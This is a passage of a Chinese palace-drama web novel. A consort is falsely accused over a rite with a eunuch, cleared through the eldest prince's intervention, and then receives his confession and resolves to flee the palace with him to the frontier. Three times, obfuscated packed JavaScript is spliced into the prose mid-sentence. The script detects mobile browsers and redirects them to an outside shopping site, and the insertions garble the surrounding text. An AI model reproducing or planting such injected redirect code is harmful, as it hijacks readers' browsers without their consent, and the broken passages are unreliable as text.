这里面唯一一个她的熟人——与她一同进宫的翟婧翟宝林,从前依附于贵妃排挤她,现在又当什么都没有发生过似的在课上附和得最欢。娄庄姬对她无可奈何,还是笑脸相迎。 皇帝有一次大驾光临,问她今天讲些什么。她说要开始讲《左传》,讲郑伯克段于鄢。皇帝皱了皱眉头。 “换个内容吧。” “臣妾愚钝,请陛下赐教。” “她们哪里听得懂这些。讲《女则》、《女诫》就行。” 娄庄姬只能从命。 有一天,娄庄姬注意到在大堂的后排坐了一个与周围年轻的面容格格不入的人,定睛一看,原来是柳慈! 柳慈看起来身体好了些,目光总是很飘渺,像是在神游。但娄庄姬了解,这就是她全神贯注时的样子。 下了学,她推开围住她阿谀的人群,拦住柳慈的去路,小心翼翼地说: “姐姐来了。” “嗯。” “姐姐身体好多了。” “嗯。” “我讲的东西,姐姐都是听过的。姐姐何必辛苦一趟来。” “我想见见你。” 娄庄姬握住了她的手,她没有挣脱。 “澍儿与我不住在一块儿了。在宫里,我不认识其他人,只认识你。” “姐姐若不嫌弃,我当然会一直陪着姐姐。” 柳慈似乎哽咽了一下,娄庄姬抱着她,不是很清楚。 皇帝对她的偏爱已经是人尽皆知的了。她的父亲曾经被牵连,如今已官复原职,兄弟几人也升迁。她时常被叫去侍候笔墨,皇帝还会向她请字。 娄庄姬有一次大着胆子,在献给皇上的玄理诗文中,夹杂了劝诫他不要沉溺玄修、应勤政爱民的谏言。一整天的惴惴不安,得来的是皇帝将那张写有谏言的纸送回,没有谴责,也没有赞赏。 贵妃时不时还会找茬,不过也没怎么占到上风。她现在对嫔妃们的争斗兴趣渐淡,转而悉心培养自己儿子皇甫诚,要求颇严,长信殿日日回荡着稚嫩的诵书声。这是她暗中与娄庄姬较劲的方式。 她在这一点上做对了。她的举措无疑使娄庄姬非常焦躁,因为她现在没有正当理由见皇甫澍了,重重宫墙将二人分隔得前所未有的远。她只好一边打探宫外的消息,一边为他祈祷。她有时会忧郁地独坐,为自己妃子的身份叹息。 她清楚,皇甫澍离她已经太远了。 14. 出逃(一) 在后宫中,一年的时光平淡地过去了。皇帝对求道成仙的痴迷,让他渐渐淡出了后宫佳丽们的生活,争风吃醋是无意义的,慵懒和困倦蔓延开来。 但在她们不曾了解的地方,她们一直以为生活底色的东西正在改变。这些被圈禁起来的人们对宫外的一切一无所知,更别提察觉那些细微的变化和裂缝。 今年开春以来,发生了几件大事。 首先是多地罹受蝗灾,收成受损,官府赈灾不及时引发了饥荒,大批百姓背井离乡,各地人心惶惶。 其次是敌国北狄,新君践位,蠢蠢欲动,屡次派兵在边境骚扰,军情紧张。 除此之外还有皇帝因个人喜好,将进士科的诗赋和明经科的文章内容改为探讨道教经典,引得举子们不满,朝野议论纷纷。 最后一件事,是宫里的一幢丑闻。 事情发生前,宫里风平浪静。娄庄姬已经一年没有见过皇甫澍了。他偶尔会来看望柳慈,但呆的时间不长。娄庄姬没有放下之前的争执,刻意回避两人的见面。 他听从了圣意,拜杜丞相为师,把从前落下的骑射武功勤奋地补上。尽管还有人对他的出身有非议——基本上都是支持贵妃那一派的,但他在朝野积累的声望压过了这种不谐。 柳慈听到对皇甫澍的夸赞,会露出欣慰的微笑。她已经长了不少的白发,冻疮、风湿、气喘,冷宫的苦难在她身上留下了烙印,但宫人们见到她时,她总是春风满面。不少人暗自艳羡:要是吃了她那样的苦头,就能换来养出一个好儿子扬眉吐气,谁不愿意呢? 有一天,柳慈神神秘秘地把娄庄姬叫来,拿出一封密信,是皇甫澍写的。上面说,今日早朝时,一个大臣——好像是杜丞相的学生,觉得太子之位不宜久悬,提议立大皇子为太子。当时就有不少人支持,只是陛下没有说什么。 “我们母子俩哪里想到会有这样的福气啊。”她激动不已。 娄庄姬笑着搂住她:“澍儿是人中龙凤,都是他应得的。” “你是我们的恩人,澍儿能走到今天这一步,你是大功臣。” “姐姐折煞我了,在冷宫时,我不过教了他一点皮毛;出了冷宫,能得到满朝文武的认可,那就是他自己的本事了。” 柳慈笑得嘴都合不上了。 “只可惜,我母家不过是个不入流的小官,难以给他什么别的裨益。” “姐姐当年能保下澍儿一条命,已经非常难得了。” “说到这儿,还是得感谢冯公公啊,我和澍儿都不会忘记他的功德。” 冯盼春在皇上身边还是风生水起,而且得空了经常会来蒹葭阁闲坐,娄庄姬在宫里能得到额外的关照,一方面是靠皇帝天宠,另一方面就是靠他的殷勤上心。 又过了几天,是涂才人的祭日。娄庄姬去柳美人那里喝了几杯酒,聊了几句往事,一不留神就忘了时间。等她回去的时候,夜色已深,路上一片寂静,只偶尔见几个巡夜的宫人。 她经过御花园,耳朵尖的素砚突然听到了有人说话的声音。 “好像就在假山背后,娘娘你看,那还有火光呢。” “这声音有点耳熟。” 凑近些,素砚压低了嗓音惊道: “娘娘,奴婢看着,好像是有人在烧纸。” 娄庄姬心里一动,在今天烧纸,莫非也是为了涂才人?她让随行的几个仆从退避,自己绕到假山后,一看,蹲在地上一边撒着纸钱,一边喃喃自语的,不正是冯盼春嘛。 “什么人?” “公公小声,是我。” 冯盼春喘了口气。娄庄姬在他旁边蹲下,从他手中拿过一沓纸钱,投入面前的火盆。 冯盼春的脸上泪痕斑斑。他怕被人发现,用细若游丝的声音絮絮叨叨地跟娄庄姬倾诉,全都是自己一年来的悔恨和思念。娄庄姬其实听不清他的话,但感受到了他的悲伤,陪他流泪。 “娘娘,咱家有几句心里话。” “你说。” “奴才这一年来,真不知道是过着什么样的日子。” “你在皇上跟前那样有脸面,宫里人人都敬重你呢。” “敬重吗?他们没在背地里骂我就好了。我是没根的东西,尊严都不要了,还怕人骂?只是,人活着,心里得有个指望啊。” “你没有指望吗?” “没了。曾经有,现在没了。曾经咱家想往上爬,爬到最高处,去帮涂娘娘。如今倒是坐上这个位置,手上有那么多的权力,却不知道用在哪里。” 他转过头,饱含热泪的双眼被火光映得熠熠生辉。他突然握住娄庄姬的手。 “娘娘,咱家唯一的一点盼头,就是在您和大殿下有需要时,咱家可以尽一份力量。若是连你们也没了,那咱家真的不知道该怎么办了。” “呸呸,你看你这话多晦气,”娄庄姬扯出一个笑,“我也就这样了,大殿下的路可还有很长,少不了你帮忙的地方。你要好好站稳脚跟,别跌下来才是。“ 冯盼春也破涕而笑:“是啊,大殿下,她嘱咐我要照顾好大殿下。她说的话我没有不听的。“ “今天可哭好了?” “哭好了。” “从明天起,你要振作起来。” “遵命。” 这样的祭奠,在宫里是忌讳的。冯盼春将剩下的纸钱付之一炬,擦干眼泪,两人赶忙灭了火,收拾好残局,分道扬镳,就像今晚的一切都没有发生过一样。 第二天,娄庄姬按例准备去芙蓉台授课。到时却发现课堂前所未有的冷清,没有一个人来听课。堂上只有两个人端坐着。一个是面色阴沉的皇帝,一个是笑容诡异的贵妃。 “臣妾参见陛下、贵妃。” 皇帝没有让她平身,反倒是贵妃先开口。 “娄婕妤,如实禀告皇上,你昨晚做了些什么?” “臣妾昨晚拜访了柳昭仪。” “还有呢?” “并无其他,贵妃何意?” 贵妃并不理会她的疑惑,转头向皇帝娇声道:“陛下,臣妾就说吧,她肯定会隐瞒的。” “娄婕妤,你昨晚在御花园遇到了谁?”皇帝开始问。 “臣妾···臣妾偶遇了冯大监。” “然后呢,你们做了什么?” “只是闲聊了几句,就作别了。” “就这些?“ “臣妾不敢欺瞒陛下。” “来人。”皇帝话音刚落,翟宝林从柱子后面走出来,看起来迫不及待想要卖弄什么。 “娄婕妤似乎记性不太好,你来帮她回忆一下。”贵妃说。 “是,”翟宝林居高临下地俯视着娄庄姬,“娄婕妤,你在假山后面,和冯公公一边烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974356|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸,一边卿卿我我地说贴心话。以为自己藏的很好,你们可没有想到,妾昨晚恰好在不远的凉亭赏月,把你们的所作所为尽收眼底。你们拉手、流泪,真让人感动呢。” 娄庄姬先是一怔,旋即火冒三丈。 “陛下,翟宝林的话全都是污蔑,臣妾决没有做这样的事!” “我的宫人们可也看见了。” “那又如何,这不过是你们一家之言,岂可为证。” “陛下,这冯盼春平日里就喜欢往她那里去,合宫的人都看在眼里。而且一坐下就不肯走,看来不像是传达陛下旨意那么简单。果不其然,他俩关系还真不一般。”贵妃火上浇油。 “娄婕妤,陛下已经把冯盼春收押起来了,过不了多长时间,他就会把你们的事全供出来,嫔妾劝您还是如实招了,或许陛下心软,饶恕了您。” “一派胡言,你们没有证据!” “只怕你也没有证据证明自己没做吧。”贵妃嗤笑。 “陛下,既然我们都拿不出来实证,若您就此信了她们的诽谤,岂不是以后她们想往谁身上泼脏水都可以,无法无天,后宫将永无宁日。” 贵妃翻了一个巨大的白眼。 皇帝看起来对这场争斗很厌烦,但又不得不主持。 “陛下,看来光问是问不出来什么了,她不愧是在冷宫待过的,嘴严得很。不如上刑,看她说不说。” 翟宝林制止了贵妃,说:“娄婕妤,若你的人也出来作证,你是不是就没话讲了。” 说罢,她拍一拍掌,两个太监将娄庄姬宫内的一个太监押上来。娄庄姬很震惊,那个太监昨晚根本就没有跟着她。 “陛下、娘娘,奴才昨夜确实看见娄婕妤与冯公公在假山背后烧纸,出来时泪涟涟的。奴才觉得奇怪,不敢往下想,谁知道他们做出这种见不得人的事。” “信口雌黄,你昨晚根本就不在我身边。陛下,他一定是被买通了。您可以去问蒹葭阁里的其他人,还有柳昭仪,他们都可以为臣妾作证!” “娄婕妤,这不也是你们的一家之言,做不得数啊。” “娄婕妤,陛下最恨宫中对食,你怎么就敢犯这种禁呢?” “想必是在冷宫孤苦,不得已与太监作伴吧。陛下,臣妾斗胆怀疑大皇子的身份,也许那阉人为了救自己的情人,两人合谋耍了手段欺骗陛下。” “够了!”涉及到皇子的事,皇甫弘终于变得严厉,“娄婕妤,你果真不认?” “臣妾自认清白,绝对没有做过!贵妃娘娘也大可不必将祸水引向大殿下,任谁都看得出你蓄谋已久、居心叵测。” 贵妃刚想回嘴,皇帝呵止她。 “后宫的事,不要牵扯到前朝。” 贵妃弱弱地答了是。 “先把娄婕妤软禁在自己宫中,看冯盼春怎么说,再等候发落吧。”他下了定论。 娄庄姬在蒹葭阁里被禁足了三天。墙倒众人推,她仿佛又回到了在冷宫时的日子,每天咽下馊了的饭菜,听着门口刻意经过的嫔妃们大声的嘲讽。 柳慈是这个时候唯一愿意伸出援手的。 她派人递消息:冯盼春虽然受刑,但什么也没有招。第一天是,第二天也是。直到第三天,那天柳慈亲自来了,隔着门缝,她激动地告诉娄庄姬: “澍儿去陛下面前为你求情了!” 15. 出逃(二) 很快娄庄姬就被召到了未央宫。皇帝的脸色没有了阴沉,变回了平日里的和蔼。他云淡风轻地勾销了这起乌龙,并承诺会处罚造谣的人。 “你怎么不直接说是在祭奠寿妃呢?” “臣妾以为,在宫里烧纸是大忌讳。” “你若是说出是为了寿妃,那么你们一个作为她的忠仆,另一个作为她的挚友,为她哀悼,朕也可以宽宥。” “是臣妾愚钝了,臣妾欺瞒陛下,情愿受罚。” “好了好了,朕年纪大了,看事情也更加宽容。所谓无为而治、道法自然,朕知道宫里的规矩有时太严,让你们不舒服。以后有什么事情,你就原原本本地都讲出来,朕并不是不通人情,会好好考量的。” 娄庄姬很惊讶地看着眼前着个仙风道骨的君王,他的修行似乎的确有成效,至少使他的心胸宽广了不少。 “这些事都是澍儿告诉朕的,他真是个有孝心的孩子,一刻不停地提你的好。若不是朕真的见过你本人,一定会以为他在说梦话呢。” 此后很多天,娄庄姬脑海里一直想象着皇甫澍为她求情的场景。他会用一种怎样的语气描述她,会怎样为她开脱?他提到她时,是叫娄婕妤,还是叫师父? 大概半个月之后,宫里就开始准备过年了。 除夕宫宴上,贵妃明显收敛了锐气,没有四处挑衅,只在座位上盯着皇甫诚防止他吃太多点心,但还没有忘记在娄庄姬入座时瞪她一眼。翟宝林借着敬酒的名义凑过来,谄媚地说道: “妹妹之前是被猪油蒙了心,被贵妃利用了。现在贵妃没了气焰,妹妹觉得整个人都焕然一新了,我以后一定做善良的事!” 娄庄姬冷冷瞟了她一样:“那本宫给妹妹的新年祝福,就是希望妹妹说到做到。” 宫妃们落座后,皇帝姗姗来迟,还是没有舍得脱下他的道袍。他先是嬉笑着捏了捏皇甫诚的小脸,又环顾一周,问道:“澍儿去哪儿了?” 已经养好伤的冯盼春答道:“大殿下下午去了吟墨院,估计是被那里的士子留下来吟诗作对了吧。” “嗯,找个人催他快点来,可别让朕等他太久。时候也不早了,先开宴吧。” 大堂上的气氛很快热闹起来,众嫔妃纷纷起立向皇帝敬酒。皇甫弘笑着说,他是修行人,早就不饮酒了,但众爱妃盛情难却,就以茶代酒吧。他又说,他近日修行有成,感觉自己神清气爽,身体更好了,也不轻易发脾气了,以前人们总说方士之术是邪行妖道,其实只是没有掌握正确的途径,像他这样才是走的正道。在场人又齐声祝贺。 去催皇甫澍的太监回来了,说皇甫澍在吟墨院多喝了几杯,有些醉了,不便到宴上扰了陛下和各位娘娘的雅兴,稍晚些酒醒了会单独给陛下贺岁。 “这样重要的日子,竟然把自己喝醉得走不动路了。”贵妃不屑。 皇帝有些失望,不过也没有多追究,反而帮他圆场: “诗酒不分家,文人想写出好句子,难免要靠几分酒兴。朕看他今天,指定得写出一篇好文章!” 这个小插曲没有造成任何不愉快。宴乐歌舞还在继续。全场只有娄庄姬摇晃着手中的酒杯,若有所思。 在宴席正酣的时候,她借口醒酒离开了大殿,一个人走到了外面的冰天雪地中。天地白茫茫的一片,隐约能听见太监宫女们的嬉闹。她犹豫了一下,踌躇地向吟墨院的方向走去。 呼呼的北风堵住了她的双耳,使她沉浸在自己的心事里。 在一年中唯一能见到皇甫澍的时刻,他又缺席了。她的直觉告诉她喝醉只不过是个借口,她从前以为只是自己在避着他,现在看来他也在逃避。这反而激起了她的不满,一种火热的渴望驱使着她去找到他,不是为了揭穿他的谎言,也不是为了叙旧,她已经决定好了,只是去看他一眼,然后趁他不注意就离开。但她也不知道,这样做是为什么。 她的纠结使她一路上走走停停。她觉得自己主动去找他是件很丢脸的事情,若被他发现就更糟了。但不去的话,她又知道自己在宴席上会如坐针毡。 吟墨院依稀可见。偏偏这时候,雪小了。耳边没有了嘶吼的狂风,她的头脑又一下子清醒过来,为自己的行为面红耳赤,停下脚步,转身就要回去。 “···娄婕妤?” 一个比她记忆里更加沉稳的男音。 娄庄姬不假思索地扯紧了头蓬,遮住脸。 背后另一个陌生的声音说:“你认错人了?” “我不知道。” “这位娘娘,多有冒犯。” 娄庄姬感觉自己冻在原地,动弹不得。她几乎是一咬牙豁出去了,转过身,看到皇甫澍,和另一个不认识的跟她年纪差不多的男子。 皇甫澍虽然穿着厚厚的冬装,但还是看得出他变得健壮多了,脸上有了英武的线条,不知道是不是因为习武的原因,变得黑了一点,眼睛也更加有神。 但看见娄庄姬,他眼睛飞快地向下飘,这个熟悉的动作还是没有变化。 “好久不见了,大殿下。” “见过娄娘娘。” “你没有认错人啊。”旁边那个男子说道。他也很英俊,眉毛很粗,比皇甫澍多了一抹不羁的气质。 “这位是?” “是杜大人的门生,狄平,狄子恒。” 娄庄姬点点头。见到她的反应,狄平竟然露出了不满的表情。 “娄娘娘不光忘记了小臣的长相,连小臣的名字都不记得了吗?” 娄庄姬满脸疑惑,她搜肠刮肚,也想不起来在哪里见过这人。 狄平挑眉一笑:“家父狄群狄侍郎,与令尊是同门,小时候,你我两家往来可不少呢。” 娄庄姬这才有了些许的印象。记忆中她七八岁时,是有一户姓狄的人家常来做客,他们家也确有一位与她年龄相仿的公子,不过那人虽然年幼,却趾高气扬傲慢无礼,十分讨人嫌。后来她听父亲说,这家人四处攀附权贵,唯利是图,不值得深交。这样一想,面对眼前这个想套近乎的人,她只觉得更尴尬了。 “本宫想起来了,足下是狄公子,真是气宇轩昂。” “在下经常听殿下说起您呢,他称您有不世之才,即便是天下的男子,也没有几个能与您匹敌的。真想不到,当年那个缺牙的小女孩竟出落成这样一位大才女。” 他的语气让娄庄姬很不舒服,当即不悦地说: “这跟本宫当时缺不缺牙有什么关系,狄公子,我们很熟吗?” 狄平完全不生气:“在下相信日后会熟起来的。” “真不巧,本宫怕是没那个福气。” “像娘娘这样胆大的人,敢在宫宴上跑出来,在甬道上跟外男聊天,小臣觉得一定还有很多机会能再见到您。” “是吗?那你最好明年这个时候也在这里等着,看能不能见到本宫!” 见两人的气氛有些不对,皇甫澍皱着眉头让狄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974357|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平先走。狄平还在纠缠,说殿下不是要送我到宫门吗,见皇甫澍也有点生气了,才轻佻地答应。临走前还不忘跟娄庄姬说: “娘娘,那小臣明年可就等着了。” 娄庄姬只觉得浑身鸡皮疙瘩都起来了,等他一走就啐了一口。抬起眼,皇甫澍正用一种很复杂的眼光看着她。 “娘娘往这个方向走,是要去吟墨院吗?” “本宫只是迷路了。” “娘娘怎么会在这个时候出来?” “想透透气。” “那是不是也走的太远了。” “那你呢,你不是说你喝醉了吗?” “我是喝醉了,这不是送狄子恒出宫,顺便醒酒。” “嗯。” “娘娘不愿意说真话,我就不问了。” “我是来找你的。” “嗯?” “之前你为本宫求情,本宫托你母妃道谢,但还是觉得应该当面跟你说,所以来找你。” “那是我应该的,不用言谢。” “不用推辞,本宫从不欠人人情。” “我只是在还你的人情。” “我对你有什么人情?” “这个,是不是不用问?” 皇甫澍伸出一只手,示意两人一同顺着道路往前走。宫里的人都过节去了,路上没有什么人经过,两个人肩并肩,保持着一种心照不宣的安静。 “杜大人应该是个很好的师父吧。” “是的,他博闻强识、运笔如风,不愧为当代大家。” “跟着他你应该长进了不少。” “我天资愚钝,学得很慢。” “这个我才不信。” “真的。但他说我底子很好,知道我的经历后,很佩服我的第一位师父。他说,开蒙是最难的。” “你在编呢。” “字字无虚。” “我不是一个好师父,你们都看错了。” “我觉得我没有看错。” “没有师父会利用徒弟的。” “那时候是我一时失言了。” “不,你说的没错。” “那只是不懂事的胡话。” ”不,“娄庄姬一字一句地说,“我教你就是希望你能讨陛下欢心,就是希望你有权有势后,把我从冷宫救出来,就是希望你能替我报复我厌恶的人。每一个字都是我的真心话。” 皇甫澍沉默了很久,说:“我知道,我也理解你。” “你才不理解,别装。” “我觉得被你需要很好。” “一点都不好。” “你有需要,我一定会帮你。” “不!” “为什么?我现在能帮你很多事情了。” “你帮我有什么用呢?我在宫里已经感觉不到什么好与坏了,任他们把我踩在土里也行,捧到天上去也罢,我不在乎了。” “你怎么了?” “你不知道,我觉得待在宫里的每一分每一秒都是折磨。斗得你死我活之后,只剩下一眼望不到头的日子。我现在什么也不想做,但也不想在宫里等死,我都不知道自己怎么了。” “我能怎么帮你?” “你为什么总想着帮我,”娄庄姬望着他凄然一笑,“你帮不了。” 皇甫澍的表情很凝重,他的下一句话很轻,但很笃定: “我可以帮你离开,帮你出宫。” 16. 出逃(三) 宫宴结束后的十几天里,娄庄姬都难以融入喜气洋洋的氛围,周围的热闹与她格格不入。除夕的雪夜一直在她头脑中闪回,每一次都让她的心口猛地揪紧。 “离开?你真是开玩笑,离开这里去哪儿呢?” “去幽州,与北狄交界的地方。” 娄庄姬一怔。 “现在这个时节,边关战乱频发,你去那儿是要做什么?” “当然是去戍边。” 皇甫澍苦笑。 他解释道,皇帝对北狄的屡次挑衅采取了息事宁人的态度,公然说宁愿割地也不愿意打仗,对主战派的意见置之不理,在朝野引起了轩然大波。众人都把皇帝的消极态度归因于他的道家修行的沉溺,于是有胆大之人提出处罚御前承恩的道士们,许多道观也遭到围攻。 皇帝对他们的冒犯非常生气,参与闹事的人没有一个逃过清算。但无奈反对他决定的人实在太多,割地请和的方案也没有下文,与北狄依旧处于僵持。 “于是,我向父皇请命,领精锐将士五万,戍守边疆,恢复失地。父皇当然不愿意。一方面,他不想开战,另一方面,他说舍不得我远离都城。我已经两次上书,都被压下。今晚,我打算亲自在他面前陈情,非去不可。” “荒唐。”娄庄姬颤抖着开口。 “你也不同意吗?” “当然!你怎么能去戍边?” “男儿有志当驰骋于沙场,保家卫国建功立业,我为什么不能去呢?” “你以为这是让你轻松挣得功勋的游戏吗?北狄厉兵秣马、虎视眈眈多年,绝非善辈,此一去必定陷入险战,且不说以身殉国的风险,若要戍守必定是五年十年,山高水远,能不能回来还未可知呢!” “你跟父皇是一条心,你也不愿意作战吗?” “不,只是你不能去。朝中难道没有大将吗,偏偏要你这样的金枝玉叶去犯险?” 皇甫澍的表情更苦涩了:“你就当作没有吧。我一定要去,这是你教给我的。” “我是教过你忠君爱国,但不必以这种方式。” “这就是我的方式,是我的梦想。我想纵横沙场、想扩土开疆。” “你应该把这个梦想改一改。你应该做更伟大的事。” “我知道,你们想让我当太子,认为我能继承大统。可我不想,我不想一辈子只待在皇宫,你们应该让诚儿去。”皇甫澍的声音抬高了,惊掉了檐上的一丛积雪。 “你简直胡说八道!那我们,我和你母亲,还有你师父,我们为你做那么多是为了什么!”娄庄姬没能压抑住自己的怒火。 她看见皇甫澍倒吸了一口气,落在脸上的雪籽让他变得很苍白。 “想不到刚刚对我说这句话的人是你。从冷宫出来之后,你真的变了很多。” 娄庄姬有反驳的冲动,却不知用什么语句。 “你不知道,你一直是我最尊敬的人,超过父皇、杜师父还有母亲。你收我为徒的那一天,我才觉得我真正开始活着。你跟冯大监说要让我在所有人面前大放异彩的那一天我就想好了,我终其一生不过是为了一次次成为那一刻的你。” 娄庄姬感觉自己的心要跳出胸膛了。 “你想到什么就会去做什么,哪怕没人支持你,你帮我写诗、写策论,你让冯大监打点好了一切,你瞒住了母亲不让她担心。你比我读过的一切英雄更英勇。” “说够了吗?所以我现在让你很失望?” “我不知道,”皇甫澍紧紧皱着眉头,像有一个困惑束缚住了他很久,“你对我来说跟别人都不一样。我从前以为只是师徒之情,但我错了,我对杜丞相和对你的感情完全不一样,那是另一种情。” 娄庄姬觉得耳边的风声越来越大了,好像在阻挡她听到那个答案。 “我这一年来过得很痛苦,因为见不到你,听不到你的声音。我想一辈子都能陪着你,和你在一起,不管以什么形式。从很久之前我就这么想了,当时你讲‘窈窕淑女,君子好逑’,我不知道是不是从那个时候起。” “这是‘爱恋’吗?”他最后一句话很轻,但又没有轻到能被风声掩盖。 “你···你真是荒唐,我好歹做过你的师父,我是你的庶母,比你大很多,你我不该···”娄庄姬听到自己的声音是哽咽的。 “你没有比我大多少岁,别的我都不在乎。我只想做自己觉得是对的事情,我觉得我没有错。”他嘴上没有认错,却埋下了头,像个小孩子准备领罚。 “你太无礼了,太冒犯了。” “我自知失言,”他说,“但我说的都是真话。我一定会去边关,也一定钟情于你。如果,你不想留在宫中了,我会等你跟我一起离开。” 娄庄姬在那时看到了前方熙攘的人群,应该是准备到外面来看烟花的。她当即落荒而逃,完全不敢回头看一眼,若是回头看见他的痛苦的表情,她一定再也回不去原来的生活了。 过年这几天她懒得走动,只有几个常听她课的嫔妃,还有卖力讨好她的翟宝林主动上门贺岁,没坐一会儿就都被她打发了。最后,是柳慈的盛情邀请才让她肯挪一挪窝。 即便面前是自己的知心姐妹,但毕竟这几天的心神不宁就是她儿子惹出来的,娄庄姬面对她一如往常的亲热,总觉得尴尬不已。 酒过三巡,两人依偎在一起,手把手聊着贴心话。本来其乐融融,忽而柳慈长叹一声,向她倾诉道: “不知你听说没有,北狄最近不安分。澍儿跟我说,他已经下定决心去幽州镇守,还说陛下已经答应了,等年过完就出发。” 娄庄姬装出一副惊讶的样子。 “哎,你说他这一去,不知道何年何月才能回来,我这为娘的还有没有机会能再见到他,他若是,在那边不好了···”柳慈说着就要流下眼泪来。 “姐姐,大过年的,咱们不说这种话,兴许皇上不会放他走呢。” “嗯,你说得对,”柳慈把眼泪忍住,“我听说皇上也不想打仗,他可能只是说着好玩罢了。” 娄庄姬扯出笑容。 “不过你说这孩子也真是的,太任性了。翅膀长硬了就把我们都抛在脑后了,来我这儿不勤,居然也不问问你的情况,小没心肝的。”她嗔道。 娄庄姬的眼神游走。 “哎,我这半生也算是活明白了,皇上的庇佑是短暂的,孩子也难以指望,到最后,我们俩只能依靠彼此了,幸好我还有你这一个朋友。” 两个人说着就搂在了一起。娄庄姬也很感动,流下了真心的泪水。 可一种挥之不去的心虚,却让她不自觉地将柳慈抱得更紧,引得她咯咯笑,“好妹妹,快将我放开吧。” 又过了几天,皇甫澍戍边的消息还是没有动静,娄庄姬也没有再收到他的传信。 本以为这件事就会过去,没想到皇上又突然召见了她,忧心忡忡询问她,作为皇甫澍曾经的师父,觉得他去戍边合不合适? “依臣妾愚见,澍儿年纪尚小,能力尚有欠缺,需假以时日才能担此大任。” 但这个回答并未切中皇帝的心。 “所以,爱妃觉得还是要打?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974358|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “臣妾不敢妄议国政。” “朕赦你无罪,知无不言。” “陛下是不愿意开战吗?” “朕说实话,真不愿意打啊。” “臣妾斗胆问陛下为何?我大梁朝国富民强,兵多粮足,何惧不能踏平北狄,扬我国威?” “哎,你们到底只是一些鄙俗之见,没有洞察圣人之道啊,”皇帝眉头紧锁,“天地不仁,以万物为刍狗。这北狄强大起来了,想要一些地盘,也是合理的。我大梁疆域辽阔,又有许多土地人口稀少,岂不辜负天地恩情?朕觉得,北狄想扩张,我们土地多,就让他们扩张好了,这是自然的道理嘛。” 娄庄姬听了他这番高论,在原地愣住了。等到反应过来自己听了什么后立刻腾起一股怒火,眼前的君王昏庸、荒诞,穿着道袍,炼制仙丹,“望之不似人君”。 她当即高声反驳,言辞激烈。 “陛下,您是天子,国家是您的,您怎能拱手相让于蛮夷?” “国家是朕的,可国家有国家的命运,朕不能左右。” 皇帝当然不是来找人反对自己的,很不高兴地把她遣走了。 这天过后,皇甫澍领兵出征的日子也定下了。就在年后正月十七。 柳慈心乱如麻,娄庄姬也惶惶不安。 她在路上,偶遇贵妃,对方嘲讽道: “大皇子真是一腔热血啊,以身报国不问年月,当真叫人佩服。只是可惜,他这么做估计没有遂某些人的愿。” 娄庄姬不想理她,贵妃就愈发气焰嚣张。 “要说,这各人有各人的命,有的人生来是天之骄子,有的人就只能过苦日子。娄师父若是见了你那徒弟,记得替本宫的诚儿,谢谢他这个好哥哥。” 娄庄姬冷冰冰地瞟了她一眼,说:“诚儿是个好孩子,只可惜他的命有一点不好。” “什么?” “没有托生在一个好母亲肚子里。” 她说完就扬长而去,无视贵妃在身后气急败坏、破口大骂。 眼看皇甫澍离去的日子近了,她也愈发不安焦躁。父亲送来的家书中说,朝中近来都是溜须拍马迎合陛下玄修喜好的方士为官,乌烟瘴气。能臣大将,大多都年迈,不能去边关了。关于大皇子出征一事,连丞相都是无可奈何,估计就是定局了。 娄庄姬烧了家书,眼泪簌簌地落下。 皇甫澍要走了,她的心中即将被寂寞填满。连带着那一晚荒唐的告白,被永远隐藏在心里。 那一晚她久违地想起了涂寿华。那个对皇帝失望透顶、被深宫困住了一生的女人。她的生命力原本那么丰沛,却被这宫闱一点点消磨,变得像灰尘一样脆弱,一阵小风袭来就会散开。 她觉得自己应该是很爱涂寿华的,但绝对不想成为她,更不要跟她落得一样的结局。 她从床上起身,素砚听到响动很快跑进来。 “素砚,你觉不觉得宫里很冷?” “娘娘,现在正是春寒料峭的时候,再过几天就会暖和了。” “不,我等不了那么长时间了,我已经要冻僵了。” 那时娄庄姬眼里闪烁着奇异的光芒,像是忽略了四周的一切,置身于一个完全不一样的地方。 “快,去派人把冯公公请来,快!” 当天晚上,一封急信火速送入了大皇子所居的重华宫。不到一个时辰后,大皇子等在宫门口,眼里只看得见一个浑身裹得严实的黑色身影,耳朵只听得见她气喘吁吁的声音。 “我想好了,我跟你一起走,我绝不反悔。” 17. 黄粱一梦(一) 兴泰二十四年,梁朝大皇子皇甫澍在幽州领亲兵连打了几个胜仗,最后一役更是仅以一百人的伤亡,直捣北狄主力大营,擒获左贤王,收复先前的失地。消息传来,举国欢庆。 大皇子虽然是初次领兵,但接连大捷,不少人将他誉为军事天才。皇帝为了奖赏他的功绩,敕封他为燕王。 民间流出了很多有关燕王作战的传闻,大多神乎其神。什么每逢我军出击,必是飞沙走石、天生异象,又有什么燕王麾下个个身强力壮、力能擒虎。多半都是说书人添油加醋后的戏言。 